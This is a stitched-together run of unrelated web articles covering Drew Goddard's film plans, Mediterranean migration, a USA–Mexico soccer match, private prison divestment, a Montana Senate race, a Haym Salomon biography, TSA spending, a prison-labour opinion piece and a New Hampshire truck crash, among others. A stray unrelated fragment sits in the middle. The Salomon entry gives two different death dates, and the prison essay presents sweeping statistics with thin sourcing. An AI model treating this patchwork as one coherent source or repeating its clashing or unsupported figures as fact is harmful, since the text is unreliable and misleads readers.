-0  Coming off the success of his directorial debut The Cabin in the Woods, which he also co-wrote with Joss Whedon, filmmaker Drew Goddard lined up a couple of exciting and massive filmmaking opportunities that unfortunately fell through. First he signed on to create, direct, and serve as showrunner on Marvel’s first Netflix series Daredevil. But after penning the first two scripts and working to conceive the series, Goddard got an opportunity he couldn’t pass up: writing and directing a Sinister Six movie as part of Sony’s Spider-Man universe. So he left his showrunner role on Daredevil to develop and write Sinister Six, but unfortunately after The Amazing Spider-Man 2’s release, Sony opted to scrap its interconnected universe plans and team up on a new reboot with Marvel Studios as a partner, effectively cancelling Goddard’s Sinister Six.  It hasn’t been all bad for Goddard—he was nominated for an Oscar for penning 2015’s blockbuster The Martian, he still serves as an executive producer on Daredevil, and he helmed the pilot of one of this year’s best new shows The Good Place—but it was a bummer to see his directorial projects fall apart. Luckily, Goddard is now lining up a new project to direct, and it’s a 100% original.  Per THR, Goddard just sold a secretive spec script titled Bad Times at the El Royale to 20th Century Fox which he will produce and direct. Details are being kept firmly under wraps, but it’s described as a contained thriller with either sci-fi or horror elements—which doesn’t sound dissimilar from Cabin in the Woods.  Indeed, Goddard kept this thing so close to the vest that when he was shopping the script to studios, it was only sent to top studio execs and they had to read it on an iPad that they’d then have to hand back to a courier, bypassing the normal reading process.  This is great news, not only that Goddard is getting back behind the camera, but that it’s an original project. We recently broke the news that Goddard is also working on the script for Deadpool 2, so the guy is certainly in demand. But Cabin in the Woods showed a confidence of vision as a filmmaker, and I can’t wait to see what surprises Bad Times at the El Royale has in store.
-Migrants take shelter from the sun before disembarking an Italian coast guard ship at Augusta.  Criminal gangs are abusing Italy's Mare Nostrum migrants rescue mission, Gil Arias-Fernandez, executive director of EU border agency Frontex has admitted.  Speaking at meeting of the European Parliament’s Civil Liberties Committee, he said that while he had nothing but praise for the Italian operation, it was a fact that traffickers were finding it easier to do their business knowing that irregular migrants were picked up by Italian rescue boats when they left the Libyan coast.  “Since Mare Nostrum started, the number of detections of irregular immigrants increased drastically,” Mr Arias-Fernandez told MEPs.  “Criminals, of course, know about Mare Nostrum and so they are sending more people on less seaworthy vessels, supplying them with less fuel and food. Their operation has become cheaper,” he said. The number of voyages had increased too, he noted.  The result, he added, was that migrants faced higher risks if the Italian authorities did not make it in time to save them.  More on Times of Malta and the e-paper on timesofmalta.com Premium.
-Click to email this to a friend (Opens in new window)  A surprising report in Mexico’s Medio Tempo has claimed that the USA vs Mexico friendly scheduled for Wednesday may not proceed as planned due to the poor condition of temporary grass installed in the Alamodome.  The temporary sod is laid flat over concrete, and Mexico was unable to train today because the field was in bad condition. The grounds crew then heeded Mexico’s warnings and worked to improve the condition of the field.  The report says that Mexico instead practiced at the Trinity University field today, and the general manager of the Mexican Soccer Federation Hector Gonzalez Inarritu has floated the idea of refusing to play should Alamodome conditions not improve. It says they will assess the field conditions again today or tomorrow.  The game was scheduled in San Antonio to utilize the large 60,000-seat capacity of the Alamodome, despite sacrificing both home field advantage and logistics in the process. A pro-Mexican crowd has already sold out the match just 150 miles north of the USA-Mexico border, and now issues with the playing surface have arisen.  #SodUpdate: The pitch has been transported to San Antonio and installation is underway at the #Alamodome! pic.twitter.com/ok8yL6RtLu — U.S. Soccer (@ussoccer) April 11, 2015  The scene for Miguel Herrera's makeshift press conference at Trinity University in San Antonio #USAvMEX pic.twitter.com/oVoWoEYQmr — John Strong (@StrongMLS) April 14, 2015  It’s unclear what would happen officially should Mexico refuse to play, with a forfeit and a flat out cancellation of the match both in play. The United States is scheduled to train at 5pm tonight on the surface. US Soccer has responded accordingly:  Regarding the USA-Mexico field conditions & reports, U.S. Soccer is confident the field will be ready or Wednesday’s #USMNT friendly. — Ives Galarcep (@SoccerByIves) April 14, 2015  (1/2) More Buethe:"The field installation was not completed when the Mexico National Team representative saw it on Monday." #usmnt #USAvMEX — Jeff Carlisle (@JeffreyCarlisle) April 14, 2015  Follow @the_bonnfire
-The man heard in a profanity-laden video berating Toronto police officers no longer works for the City of Toronto. "As you know, we do not address personnel matters, however, we can confirm that the individual in question is no longer an employee with the City of Toronto," city spokeswoman Wynna Brown wrote in an email to the Star.  The worker, who was never named, was employed by the solid waste management services division. He said he parked in a spot reserved for disabled motorists for about 45 seconds while running into a convenience store to buy a lottery ticket. The worker, who recorded the subsequent altercation with his cellphone, emerged from the store and suggested an officer used his vehicle to block him from getting into his car because he “thought I was just a regular n-----.” “You know this guy’s asked me for my driver’s licence and insurance over a f------ parking space,” the worker tells the cops who arrive on the scene, in the clip posted on a video-sharing website in August.  Article Continued Below  The incident apparently occurred in a strip plaza near Lawrence Ave. E. and the Don Valley Parkway. The former city worker repeatedly referred to the officer, who is apparently black, as an “Uncle Tom" - a derogatory term for “a black person who is eager to win the approval of white people and willing to co-operate with them,” according to Merriam-Webster.
-SAN FRANCISCO (Reuters) - The University of California system said on Friday it will drop its roughly $30 million worth of investments in private prison companies following demands from a black student group.  The decision comes amid a wave of student protests against racism at college campuses across the country as well as the Black Lives Matter civil rights movement against the U.S. criminal justice system, which disproportionately impacts black people.  The UC system’s chief investment officer, Jagdeep Singh Bachher, made the decision after meeting with students of the Afrikan Black Coalition, university spokeswoman Dianne Klein said.  Klein said the UC system has a policy against “blanket divestment,” but made the decision after further review.  “This made sense given our conclusion that, based on risk over the next several years, these holdings were not a good investment for a long-term investor such as UC,” Klein said.  Klein said the amount invested was less than $30 million, a tiny fraction of the UC system’s $100 billion investment portfolio. Klein said she did not know exactly which private prison companies the system held shares in or exactly how much money was invested.  The coalition, a California-wide student group, said the UC system had $25 million invested in Corrections Corporation of America and The Geo Group.  Corrections Corporation spokesman Jonathan Burns said: “Frankly, we’re delighted to have a greater share of investors who are thoughtful about our business, can tell the difference between rhetoric and reality, and agree that the free market is a great creator of innovation and economic opportunity.”  The Geo Group could not be immediately reached for comment.  The student union also called on the UC system to divest some $425 million of investments in Wells Fargo & Co, which it said is a large investor in private prison firms and has been accused in courts across the country of practicing predatory lending against minorities.  Klein said the UC system has no plans to drop its Wells Fargo investments.  In July, Wells Fargo won a dismissal of lawsuits in Chicago and Los Angeles that alleged it violated the federal Fair Housing Act. The California city of Oakland filed its own lawsuit against the company in September.
-Part of a series highlighting significant stories from the 2012 election  Dan Cox,  2012 candidate for  U.S. Senate in Montana  With the balance of power in the Senate at stake, the 2012 Republican and Democratic candidates for U.S. Senate in Montana spent an average of $41.61 per vote — one of the highest of any federal race in the country.  Libertarian Dan Cox found himself in the crossfire of the hotly contested campaign, where his Democratic and Republican opponents spent $18.8 million combined, according to OpenSecrets.org, in a state where just 486,066 votes were cast for U.S. Senate.  Republicans implored Dan Cox to withdraw from the race for fear his influence would cost their candidate, Republican Congressman Denny Rehberg, to lose to incumbent Democrat John Tester. In the end, Cox won 31,892 votes, or 6.6 percent, almost twice the 3.7 percent margin by which Democrat Tester prevailed over Rehberg, 236,123 (48.6 percent) votes to 218,051 (44.9 percent).  Cox seized the moment when he appeared in two debates and was covered by national media, including Mother Jones, the Washington Examiner, Politico, the Associated Press, Talking Points Memo, CQ Roll Call, the Wall Street Journal, and the Christian Science Monitor. He offered a bold, Libertarian agenda while exposing the Big Government track records of both of his opponents.  “I think people are starting to wake up to the fact that there’s really not that much difference at all between the Republicans and the Democrats,” Cox said.  On his Republican opponent, he said “he voted for every police-state big-brother bill he could get his hands on,” and added that Rehberg “voted to raise the debt ceiling 10 times.”  He had little confidence that the GOP was going to completely repeal the Affordable Care Act, also known as Obamacare, when the Republicans began talking about “repeal and replace.”  High on Dan Cox’s once-in-office priority list was ending the Federal Reserve Banking System and repealing the National Defense Authorization Act. He let voters know that the Federal Reserve lent $16 trillion to foreign corporations and banks during and after the financial crisis of 2008.  He also showed voters how the Federal Reserve’s printing of money hurts everybody, pointing out that inflation is a hidden tax.  Dan Cox also ran on ending the Transportation Security Administration, protecting private property rights, and legalizing marijuana. He charged the federal government with overstepping its boundaries by cracking down on medical marijuana dispensaries, where they are legal in Montana, and sought to protect residents against Washington overreach.  “I think he’s one of the best candidates we’ve had in Montana,” said Dave Merrick, Ravalli County Libertarian Party chairman. “He’s well-grounded in libertarianism. He’s a good speaker.”  “He’s gotten more [votes] for our national race in Montana, more percentage of the votes, than anyone in a national race who has ever run here,” he continued.  Behind the scenes helping the campaign were Montana activists like Merrick, who put out ads for Cox and circulated his campaign literature. He also made calls to get Cox into the debates, and succeeded in getting him included in two, which, Merrick says, he won. In 2008, Cox successfully opposed the Ravalli County Growth Policy, a local zoning scheme that has been repealed, thanks to Cox’s signature-gathering efforts. He says that “there’s no countywide zoning.”  Cox also took interest in illuminating the federal government’s policy of importing foreign wildlife and releasing it on federal land, destroying native wildlife. He says the federal government “dumped a bunch of wolves” it had imported from Canada onto federal land, which interfered with elk hunting and “ravaged herds.”  Looking to the future, Cox says, “It’s possible I would run again. Of course, it really depends who the candidates are.”
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line 46  txt_微信小说_在线阅读
-Haym Salomon (also Solomon; April 7, 1740 – January 6, 1785) was a Polish-born American Jewish businessman and political financial broker who immigrated to New York City from Poland during the period of the American Revolution. He helped convert the French loans into ready cash by selling bills of exchange for Robert Morris, the Superintendent of Finance. In this way he aided the Continental Army and was possibly, along with Morris, the prime financier of the American side during the American Revolutionary War against Great Britain.[1]  Early life and education [ edit ]  Haym Salomon (anglicized from Chaim Salomon) was born in Leszno (Lissa), Poland in 1740 to a Sephardic Jewish family descended from Spanish and Portuguese Jews who migrated to the Jewish communities of Poland as a result of Ferdinand and Isabella's expulsion of the Jews in 1492 and remained there for many generations. Although most Jews in Central and Eastern Europe spoke Yiddish (Judeo-German), some have claimed that because Salomon left Poland while still young, he could not read and write Yiddish. In his youth, he studied Hebrew.[2] During his travels in Western Europe, he acquired a knowledge of finance and fluency in several other languages, such as German.[3] He returned to Poland in 1770 but left for England two years later in the wake of the Polish partition. In 1775, he immigrated to New York City, where he established himself as a financial broker for merchants engaged in overseas trade.[4][5]  Revolutionary activity [ edit ]  Haym Salomon commemorative stamp (1975)  Sympathizing with the Patriot cause, Salomon joined the New York branch of the Sons of Liberty. In September 1776, he was arrested as a spy. The British pardoned him, but only after requiring him to spend 18 months on a British boat as an interpreter for Hessian soldiers – German troops employed by the British. Salomon used his position to help prisoners of the British escape and encouraged the Hessians to desert the war effort. In 1778 Salomon was arrested again and sentenced to death. Again, he managed to escape, making his way with his family to the rebel capital in Philadelphia.[6]  Financing of the American Revolutionary War [ edit ]  Once resettled, Salomon resumed his activities as a broker. He became the agent to the French consul as well as the paymaster for the French forces in North America. In 1781, he began working extensively with Robert Morris, the newly appointed Superintendent for Finance for the Thirteen Colonies.[7]  From the period of 1781–84, records show Salomon's fundraising and personal lending helped provide over $650,000 (approximately $18,035,722.16 in 2018 dollars [8]) in financing to George Washington in his war effort. His most meaningful financial contribution, however, came immediately prior to the final revolutionary war battle at Yorktown.[9]  In August 1781, the Continental Army had trapped Lieutenant General Charles Cornwallis in the Virginian coastal town of Yorktown. George Washington and the main army and Count de Rochambeau with his French army decided to march from the Hudson Highlands to Yorktown and deliver the final blow. But Washington's war chest was completely empty, as was that of Congress. Without food, uniforms and supplies, Washington's troops were close to mutiny.[9] Washington determined that he needed at least $20,000 to finance the campaign. When Morris told him there were no funds and no credit available, Washington gave him a simple but eloquent order: "Send for Haym Salomon". Salomon raised $20,000, through the sale of bills of exchange. With that contribution, Washington conducted the Yorktown campaign, which proved to be the final battle of the Revolution.[5]  Salomon brokered the sale of a majority of the war aid from France and the Dutch Republic, selling bills of exchange to American merchants. Salomon also personally supported various members of the Continental Congress during their stay in Philadelphia, including James Madison and James Wilson. He requested below-market interest rates, and he never asked for repayment.[10]  Salomon is believed to have granted outright bequests to men that he thought were unsung heroes of the revolution who had become impoverished during the war. One example is Bodo Otto, a senior surgeon in the continental army. Otto joined the army at the age of 65 and served for the entire war. Among other things, he established the hospital at Valley Forge, where he often used his own funds to purchase medical supplies. Due to Salomon's bequest, Otto was able to rebuild his medical practice in Reading, Pennsylvania at war's end.  The Treaty of Paris, signed on September 3, 1783, ended the Revolutionary War but not the financial problems of the newly established nation. America's war debt to France was never properly repaid, which was part of the cascade of events leading to the French Revolution.  Jewish community [ edit ]  Pennsylvania Historical Marker, 44 N 4th Street, Philadelphia (July 2014)  Salomon was involved in Jewish community affairs, being a member of Congregation Mikveh Israel in Philadelphia, and in 1782 made the largest individual donation toward the construction of its main building. In 1783, Salomon was among the prominent Jews involved in the successful effort to have the Pennsylvania Council of Censors remove the religious test oath required for office-holding under the State Constitution. These test laws were originally written to disenfranchise the Quaker majority (Quakers objected to taking oaths at all), but many were caught up in this anti-democratic ploy. It was Salomon's old friend Robert Morris who actually introduced legislation to end the test laws in Pennsylvania. In 1784, Salomon answered anti-Semitic slander in the press by stating: "I am a Jew; it is my own nation; I do not despair that we shall obtain every other privilege that we aspire to enjoy along with our fellow-citizens."  Death [ edit ]  The financier died suddenly and in poverty on January 8, 1785, in Philadelphia, Pennsylvania, after contracting tuberculosis in prison. Due to the failure of governments and private lenders to repay the debt incurred by the war, his family was left penniless at his death at age 44.[9] The hundreds of thousands of dollars of Continental debt Salomon bought with his own fortune were worth only about 10 cents on the dollar when he died.  His obituary in the Independent Gazetteer read, "Thursday, last, expired, after a lingering illness, Mr. Haym Salomon, an eminent broker of this city, was a native of Poland, and of the Hebrew nation. He was remarkable for his skill and integrity in his profession, and for his generous and humane deportment. His remains were yesterday deposited in the burial ground of the synagogue of this city."  Legacy [ edit ]  The grave-site of Haym Salomon, Mikveh Israel Cemetery is located in the 800-block of Spruce Street in Philadelphia. Though unmarked, there are two plaque memorials. The east wall has a marble tablet that was installed by his great-grandson, William Salomon, and a granite memorial is set inside the cemetery gate. In 1980, the Haym Salomon Lodge #663 of the fraternal organization B'rith Sholom sponsored a memorial in the Mikveh Israel Cemetery on the north side of Spruce Street between 8th and 9th Streets in Philadelphia. A blue ribbon panel and committee, including Robert S. Whitman, Sidney Bruskin and Marvin Abrams, all lodge past presidents; and Philadelphia, PA residents, arranged for the renovation of the walls and walkways of the cemetery. They then arranged for and oversaw the installation of a large, engraved memorial marker of Barre Granite just inside the cemetery gates, inscribed "An American Patriot". A memorial bronze marker with an American flag was installed by Robert S. Whitman, marking the dedicated space for the American patriot.[11]  Commemoration [ edit ]  There is a legend that during the design process of the Great Seal, Washington asked what compensation Salomon wanted in return for his financial contributions to the American Revolutionary War. He replied that "he wanted nothing for himself but that he wanted something for his people". While there is no evidence, there is a theory that the 13 stars representing the colonies on the seal were arranged in the shape of the Star of David in commemoration of Solomon's contributions.[12] This appears to have little basis in fact, however, although it is oft-repeated.[13]  When Morris was appointed Superintendent of Finance, he turned to Salomon for help in raising the money needed to carry on the war and later to save the emerging nation from financial collapse. Salomon advanced direct loans to the government and also gave generously of his own resources to pay the salaries of government officials and army officers. With frequent entries of "I sent for Haym Salomon", Morris' diary for the years 1781–84 records some 75 transactions between the two men.  See also [ edit ]  References [ edit ]
-Donald Trump supporter Omarosa appeared on MSNBC tonight and engaged in a lot of excuse-making for the violence at Trump’s rallies, literally saying, “You get what’s coming to you.”  Chris Matthews repeatedly confronted her and Omarosa said Trump can’t be responsible for every person who engages in violence at his events.  She did, however, say, “You have a right to get into a closed, private event, and you get what’s coming to you. I do not condone violence, but if you go into an environment where you’re interrupting 13, 14 times, you do expect a hug or kumbaya?”  Matthews pointed out he’s egged it on a few times. Omarosa’s actual, real response was, “He’s a New Yorker, what do you want him to say?… He’s not gonna be pushed around, Chris.”  She complained that no one has covered protesters at Democrats’ rallies. Daily Mail reporter Francesca Chambers said there has been no violence at any Hillary Clinton or Bernie Sanders rallies.  Omarosa condescendingly told her, “Okay, thank you, Francesca, for that insight.”  Matthews said, “No, I think it’s called reporting.”  Watch above, via MSNBC.  [image via screengrab]  — —  Follow Josh Feldman on Twitter: @feldmaniac  Have a tip we should know? tips@mediaite.com
-Struggling steelmaker Arrium to be boosted by new import duties imposed on cheap Chinese steel  Updated  Import duties will be imposed on "unfairly priced" Chinese steel products by the Federal Government in a bid to help embattled South Australian steelmaker Arrium remain competitive.  Key points: Import duties now apply to two types of steel products from China  Duties are up to 53 per cent of the export price, and are intended to help Arrium  Australian Workers Union says the move will not help Whyalla  Industry Minister Christopher Pyne said duties of between 37 per cent and 53 per cent of the export price would apply to "rod in coil", and between 11 per cent and 30 per cent on reinforcing bar.  The move is intended to drive down oversupply of Chinese steel, and is based on recommendations by the Anti-Dumping Commission.  Pressure has been mounting on the Government to tighten anti-dumping measures as a result of the plight of Arrium.  The company is in voluntary administration with debts of $4 billion, and workers at the company's Whyalla steelworks are facing an uncertain future.  "Obviously we have relatively high production costs and China has relatively low production costs, and they have been potentially unfairly pricing their steel in Australia because of extra support from their Government," Mr Pyne said.  "This obviously assists Arrium who are producers of these kinds of goods.  "The Australian Government is working to sustain the local steel industry, while acting within World Trade Organisation rules."  Mr Pyne said the duties would apply as of April 22.  The Government said the exact duty would depend on the exporter, and "there would be an additional duty should the export price fall below a specified floor price".  The Australian Workers Union (AWU) said the measures would help parts of Arrium's business but did not go far enough.  "It's certainly not the fix for Whyalla," national secretary Scott McDine said.  "We need to boost local steel procurement for Government infrastructure projects up to 90 per cent... and we need to see co-investment in steelworks like Whyalla so we can upgrade them."  South Australian acting branch secretary Peter Lamps said Whyalla was mainly in the business of producing steel products other than those targeted by the new measures.  "Whyalla mainly produces structural steel and rail products," he said.  "That is just as much under stress, as far as the dumping of overseas products is concerned, as reo rod and bar."  SA Government offers free legal advice to Whyalla contractors  The Federal Government said Australia currently has 44 anti-dumping measures in place that apply to 12 steel products from 14 countries.  The union said the new duties do not breach Australia's obligations under its free trade agreement with China.  South Australian Treasurer Tom Koutsantonis visited Whyalla on Friday to meet with contractors receiving free legal advice from the State Government.  Debts to Arrium's suppliers have been frozen and it is not clear when they will be paid.  "We're also offering accounting services and consultation with the administrator to make sure they all get access to the appropriate financial advice," Mr Koutsantonis said.  Mr Koutsantonis said a 10-month high in iron ore prices would do little to help Arrium in the short term.  Topics: steel, industry, federal-government, unions, tax, trade, whyalla-5600, sa  First posted
-Texas Lt. Gov. Dan Patrick (CNN/Screenshot)  The office of Texas Lieutenant Governor Dan Patrick, a Republican and evangelical Christian, on Sunday deleted a tweet many saw as offensive and insensitive that was sent out shortly after the deadly attack on a gay nightclub in Florida.  “Do not be deceived: God cannot be mocked. A man reaps what he sows,” read the Bible verse Patrick sent out on his official Twitter account a few hours after the worst mass shooting in U.S. history that left at least 50 dead.  His office was not immediately available for comment but has told local media, including the Dallas Morning News, that the tweet had been scheduled for release well before the shooting. The office, which regularly sends out a Bible verse on Sundays, has since deleted it and replaced with another passage, they said.  But the deleted tweet from a politician who has condemned same-sex marriage and fought against LGBT rights still raised the ire of those who accused Patrick of blaming the victims.  “You are a disgrace to your state in this time of national sorrow. You should resign,” prominent LGBT activist George Takei wrote on Twitter.  The Texas Democratic Party called on Patrick to apologize immediately.  “Make this right. We are better than this,” it said in a statement.  Patrick is currently out of the country and has not yet made comment to media about the tweet.  The new verse sent on his account reads: “The salvation of the righteous comes from the Lord; He is their stronghold in time of trouble.”  (Reporting by Jon Herskovitz; Editing by Nick Zieminski)
-All of you frequent fliers out there, you know the drill. Take off your shoes, because of Richard Reid, the "shoe bomber." Remove your hair gel from your backpack because of the bombers who targeted Heathrow using liquid hydrogen peroxide. When you get on a plane, you must also, from now on, be prepared to remove any blankets from your lap before landing -- too bad if you're asleep! -- because of the Christmas Day underwear bomber.  When someone invents a way to hide explosive powder inside a toothbrush case, prepare to remove your toothbrush. And while you're at it, throw a pinch of salt over your left shoulder as you board the plane. But never, at any moment, imagine that the rigamarole of airport security is guaranteed to make you safer -- for no one knows which of these measures, if any, is actually necessary.  Worse, no one has any financial or political incentive to find out. The fact is, since the hurried and heavily politicized creation of the Department of Homeland Security and its junior partner, the Transportation Security Administration, neither their priorities nor their spending patterns has been subject to serious scrutiny. They have never been forced to make hard choices. On the contrary, both have been encouraged by their congressional funders to spend money in reaction to every perceived new threat, real or otherwise: Thus full-body scanners, unacceptable as recently as last summer, will now be rushed into use. In just a few years -- under a Republican administration and mostly Republican Congresses -- these institutions thus grew into vast, unruly bureaucracies, some of whose activities bear only a distant relationship to public safety.  So customary has it become to repeat old, familiar lists of ludicrous public projects that readers who cannot bear to read the litany one more time might want to skip to the next paragraph. For yes, it is true: Having started with 13 employees in January 2002, the TSA now employs 60,000, and in the process of its expansion the organization found it had money for all kinds of extras. As I wrote in 2005, some $350,000 of its $6 billion budget once was spent on a gym; $500,000 was spent on artwork and silk plants, and untold millions are annually spent in overhiring, since determining when there will be long security lines at an airport has never been the sort of thing at which the federal government excels.  As for the DHS, its 2010 budget came in at $55 billion, some of which (according to the economist Veronique de Rugy, writing in 2006) will invariably be spent on things like the $63,000 decontamination unit in rural Washington, where no one was trained to use it, more biochemical suits for Grand Forks, N.D., than the town has police officers to wear them and $557,400 worth of rescue and communications equipment for some 1,500 residents of the town of North Pole, Alaska. Not to mention what is spent on the "needs" of the constituents of other important members of Congress.  It is not actually DHS or TSA employees who are at fault for these kinds of decisions. From the very beginning, security experts and even the agencies' own inspectors general have pointed to the absurdity of TSA and DHS spending patterns, many of which are driven by the latest scare story (I wish I'd been at the celebratory New Year's Eve party undoubtedly thrown by the manufacturers of those full-body scanners). And from the very beginning, Congress has fought back against critics, repeatedly allocating funds to unnecessary local projects, reacting to sensational news stories, spending money in ways that suit its members and then declaring itself shocked -- shocked! -- to discover that our multibillion-dollar homeland security apparatus was unable to stop a clearly disturbed Nigerian from boarding a Detroit-bound plane.  Imagine if the TSA's vast budget were dedicated to the creation of a cutting-edge computer network that could have made security officers in Amsterdam instantly aware of the warning from the Detroit bombing suspect's father. Imagine that, instead of relying on full-body X-ray scanners or long-haul flight-blanket deprivation, we had highly paid and trained consular officers in places such as Nigeria. Even then security would not be perfect (and I'm not sure that airborne terrorism is even the worst thing we have to worry about). But it would make sense to have a smaller, less expensive and less wasteful system. It would make sense to have a system based on real risks and priorities, instead of the stories featured on cable news. It would make sense to fight the next battle, for once, instead of the last one. "Sense," though, is not the criterion by which public money is spent in this country -- and hasn't been for a long time.  applebaumletters@washpost.com
-The Prison Industrial Complex  Only the most vile, degenerate and immoral person could feel good about the practice of for profit institutionalized slavery which dominated the southern economy for 300 years. What is even more unacceptable is that people who knew better, presumably Christian people with a conscience did little or nothing while evil was triumphing.  Today, America is witnessing the rebirth of institutionalized slavery within its borders and it is indeed a predominantly racist practice with Latinos and Blacks comprising the bulk of the new slaves. And we are also witnessing racist rates of incarceration within our juvenile justice system. This outrageous practice should be decried by every media outlet in the country, but this problem is all but ignored by the mainstream media (MSM). Why? Because the MSM is making money off of this unholy practice.  A Growing Customer Base  There are over two million inmates in American prisons, or one in 743 people. Communist China, which has five times the population of the United States, has 500,000 less inmates. The United States has only 5% of the world’s population, but has 25% of the world’s prison population.  In 1972, the U.S. had less than 300,000 inmates. By 1990, the incarceration rate had skyrocketed to one million and by today, the rate has more than doubled again. Again, I ask why? Because there is very big monied interests behind the growth industry of privatized prisons.  According to Charles Campbell, author of The Intolerable Hulks (2001), the privatization of the prisons movement has its origins in the Revolutionary War period. England began to put undesirables and prisoners in prison ships. The U.S. fully embraced the use of private prisons during the Reconstruction Period (1865-1876) in the south, following the Civil War. Plantation owners and business owners needed “free” replacements to compensate for the loss of their previous slave laborers. In 1868, convict leases were awarded to private business interests in order to bolster their labor workforce and the practice continued until the early 20th century.  Today, this practice has been taken over by private corporate interests who are increasingly taking over our prison system and this unholy practice is no less exploitative than the slave labor abuses of the past and as in all forms of slavery, it is being fueled by profit.  Prison for Profit  The Corrections Corporation of America is the largest private prison operator in the United States. The CCA procured its first private prison in, ironically, 1984.  Did you know that in many states, privatized prisons are guaranteed 90% occupancy rates by the government?  According to the California Prison Focus “The private contracting of prisoners for work fosters incentives to lock people up. Prisons depend on this income. Corporate stockholders who make money off prisoners’ work lobby for longer sentences, in order to expand their workforce. The system feeds itself,” says a study by the Progressive Labor Party, which accuses the prison industry of being “an imitation of Nazi Germany with respect to forced slave labor and concentration camps.”  The Impetus Behind the Prison Industrial Complex  According to public analysis from the Security and Exchange Commission (SEC), the largest holder in Corrections Corporation of America is Vanguard Group Incorporated. Vanguard is a major player in controlling several media giants. Vanguard is the third largest holder in Viacom and AOL Time Warner. Vanguard is also the third largest holder in the GEO Group. The GEO group, second only in size to the CCA with regard to privatized prisons as it controls over 100 correctional facilities in the US, UK, Australia and South Africa. In addition to CCA’s unwarranted control over the media, the number-one holder of both Viacom and Time Warner is a company called Blackrock. Blackrock is the second largest holder in CCA, and the sixth largest holder in the GEO Group in this never-ending incestuous relationship.  The conclusion is inescapable. The people who control privatized prisons in the United States are also heavily vested in the media. This is why you don’t hear about the Prison Industrial Complex in the media and the installation of institutionalized slavery in our privatized prisons goes largely unreported in the media.  Vanguard Windsor II Investment Fund owns CCA. However, CCA is a minute part of the Vanguard Windsor II Funds. Vanguard Windsor is also invested in corporate giants like JP Morgan, IBM Pfizer and Conoco. This accounts for the Wall Street backing of privatized prisons and the subsequent lobbying for longer and stricter prison sentences which fuels this growth industry.  This makes the privatized prison industry a Wall Street backed growth opportunity.  Increasingly, the victims of this corrupt prison system are the youth of America.  Need A Job? Go to Prison, They’re Hiring  The Prison Industrial Complex is an impressive growth industry which is fueled by its Wall Street investors and leads to greatly overcrowded and inhumane prisons.  According to the Left Business Observer, the highly privatized federal prison industry produces “100% of all military helmets, ammunition belts, bullet-proof vests, ID tags, shirts, pants, tents, bags, and canteens. Thus, we see a partial marriage between private prisons and our government’s wars of occupation. Namely, prison slave labor is being used to produce the weapons and supplies of war.  America has found and antidote to the loss of manufacturing through the various free trade agreements (i.e. NAFTA, CAFTA). Unfortunately, prison slave labor is the solution. The Left Business Observer identifies private corporate interests benefiting from prison slave labor which includes the manufacturing of “93% of all paints and paintbrushes; 92% of stove assembly; 46% of body armor; 36% of home appliances; 30% of headphones/microphones/speakers; and 21% of office furniture.”  Go to School and End Up In Prison  There are almost 75,000 juveniles in prison and the rates are skyrocketing because of a phenomenon that is now being referred to as the school to prison pipeline in which schools are increasingly refusing to deal with even minor discipline issues and are placing juveniles in police custody.  In 2010, there were 5,574 school-based arrests of juveniles in the Chicago Public School. The juvenile arrests accounted for about one of every five juvenile arrests in the entire city of Chicago for all of 2010. The incarceration rates for Chicago’s juveniles are in line with most other metropolitan areas in the country. There is also a general trend of disproportionate rates of minority contact within the juvenile justice system, Black youth accounted for 74% of school-based arrests, and 22.5% of youth arrested were Latino. The enrollment of Chicago schools in was 45% Black and 41% Latino. These high arrest rates for so many of our minority youth, create potential slave laborers for the Prison Industrial Complex. Once a child is adjudicated in the justice system, society usually witnesses a straight line right to prison. These precious children are having their futures robbed from them before they can even get started. What are they being arrested for? The number one reason is fighting on school grounds.  As a child, I had fights on school grounds, but nobody tried to send me to prison. The number two reason why children end up in the justice system is for possessing small amounts of marijuana.  As a former mental health counselor, I am all too familiar with the devastation brought on by use of drugs. However, marijuana is not one of these drugs. If legalizing marijuana runs against everything you believe in, how about decriminalizing. In other words, we still make the drug illegal but nobody goes to prison for simple possession.  The federal authorities, controlled by the corporations will never allow such a common sense, liberalized approach to drug enforcement. The feds even arrest medical marijuana dispensers and users. Why? Because Wall Street wants prisoners to fill its increasingly privatized and for-profit prison system. This is the major reason why America has 25% of the world’s prison population.  Our minority youth, in the inner cities, are being conditioned by the system that going to prison is part of the life experience. And with extremely high recidivism rates, prison slave labor will never have any shortage of participants.  The Prison Industrial Complex and their lobbyists are responsible for zero tolerance policies, mandatory sentencing and the three strikes life sentencing that is so prominent in many of our states and unless we identify these abuses and stop them, it is only going to get worse.  These events are culminating to establish was has been dubbed as the School to Prison Pipeline  Increasingly, the youth of America are the main participants and as a result slavery has reared its ugly head in the modern era and it is racist and exploits many of our youth for profit. And that is the topic of Part two of the Prison Industrial Complex.  [/fusion_builder_column][/fusion_builder_row][/fusion_builder_container]
-Three people were injured when a tractor-trailer rolled over after a collision with a car at the intersection of Route 125 and Route 155 in Epping on Wednesday.  Advertisement 3 injured when tractor-trailer, car collide in Epping Driver of car flown to Boston hospital Share Shares Copy Link Copy  Three people were injured when a tractor-trailer rolled over after a collision with a car at the intersection of Route 125 and Route 155 in Epping on Wednesday.Click to watch News 9's coverage.Police said the tractor-trailer and a car collided about 6:50 a.m. The driver of the car, Elisa Smith, 43, suffered a serious head injury and was flown to a Boston hospital.Smith's 17-year-old daughter was a passenger in the car, and she was taken to Exeter Hospital with injuries that were not life-threatening. The driver of the tractor-trailer, Miguel Adames, 54, also had non-life-threatening injuries and was taken to Exeter Hospital.Neighbor Emily Adams has been friends for about five years with the driver and her daughter. Adams said she and her two sons were getting ready for the day when they heard a terrible sound."We just heard a big huge crash and we knew something had happened, and we looked out and we heard the police and the ambulance and saw the lights," she said.State police said it appears that the mother, who was driving, might have misjudged how much space she had."They basically pulled into the path of the tractor-trailer unit that you see here on the roadway traveling northbound," Sgt. Steve Cooper said. "A lot of credit is given to the operator of the tractor-trailer unit, who observed the vehicle in front of and him took evasive action."The tractor-trailer rolled over, spilling part of its load of trash and creating a nightmare for drivers during the morning commute. The position of the truck also created problems for those in charge of cleaning up the mess."Where the tractor is, it's all really soft mud, so we're going to have a hard time with placement of the trucks to get it out," said Donald Gagnon of Rochester Truck.State police said neither driver was impaired, and speed did not appear to be a factor in the crash.Get the WMUR app12967056
